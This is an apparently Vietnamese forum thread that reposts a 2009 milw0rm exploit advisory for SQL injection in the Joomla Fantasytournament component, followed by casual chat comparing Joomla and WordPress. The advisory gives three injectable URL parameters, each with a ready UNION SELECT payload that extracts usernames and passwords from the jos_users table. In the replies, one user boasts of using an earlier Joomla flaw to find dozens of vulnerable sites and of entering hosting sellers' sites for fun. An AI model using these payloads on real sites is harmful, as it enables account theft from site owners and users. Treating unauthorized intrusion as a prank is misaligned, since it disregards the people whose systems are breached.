Joomla Component Fantasytournament Multiple SQL Injection Vulnerabilities

ThanhBT

Nguồn: http://www.milw0rm.com/exploits/7777

########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "Fantasytournament (com_fantasytournament)"
[~] Version:        "2009.1.5"
[~] Date:           "01/01/2009"
[~] Author:         "Adrian Gray"
[~] Author E-mail:  "a.gray@javalamp.co.uk"
[~] Author URL:     "www.graymoose.com"
[~] Component info: "http://extensions.joomla.org/extensions/sports-&-games/sports/1604/details"

########################################

[~] Exploit 1: /index.php?option=com_fantasytournament&func=teamsByRound&Itemid=79&roundID=[SQL]
[~] Example 1: /index.php?option=com_fantasytournament&func=teamsByRound&Itemid=79&roundID=-1+union+select+1,concat(username,char(58),password)KHG,3,4,5,6+from+jos_users--

########################################

[~] Exploit 2: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=63&managerTeamName=pacman&roundID=[SQL]
[~] Example 2: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=63&managerTeamName=pacman&roundID=-1+union+select+1,concat(username,char(58),password)KHG,3+from+jos_users--

########################################

[~] Exploit 3: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=[SQL]
[~] Example 3: /index.php?option=com_fantasytournament&Itemid=&func=managersByManager&managerID=-63+union+select+concat(username,char(58),password)KHG,2,3+from+jos_users--

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

Vừa thích vừa không thích Joomla vì có quá nhiều lỗi bảo mật.

# milw0rm.com [2009-01-14]

daithieugia

mình không dùng com này mà com thì do cộng đồng phát triển.nhiều cái lỗi là đương nhiên rùi.bảo mật mình ko biết lắm nhưng ghét cái là nó nặng quá

Madsoul

chán thằng này rồi...
giờ thích wordpress hơn... nếu làm 1 trang tin tức

daithieugia

thực ra WP đâu chỉ có tin tức.nếu tìm hiểu thì không thua gì joomla về tất cả các com.tuy nhiên em quen joomla hơn thôi

Saokim999

khả năng seo của wp đảm bảo cao hơn. chạy nhẹ hơn, thử và trải nghiệm
1 lỗi ở JL đợt trc mà mình nghịch ngòi check cũng ra chục trang dính chương ... mò vào cả nhà mấy bác bán host trêu

daithieugia

ừ sướng nhất là nó nhẹ hơn rất nhiều.và seo sướng hơn :d

ThanhBT

WP phù hợp với site làm cá nhân, còn JL mình chỉ thấy chuẩn nhất là ở phần giao diện. DIV nó làm tốt.

Saokim999

WP mang hơi hướng cá nhân nhiều nhưng nếu pt lên thì có thể như 1 CMS đầy đủ tính năng và giao diện ko thua kém thằng nào
mình thích thằng này >>>> xóa copyright đi mấy ai dám bảo là wp y5cafe.info/mc/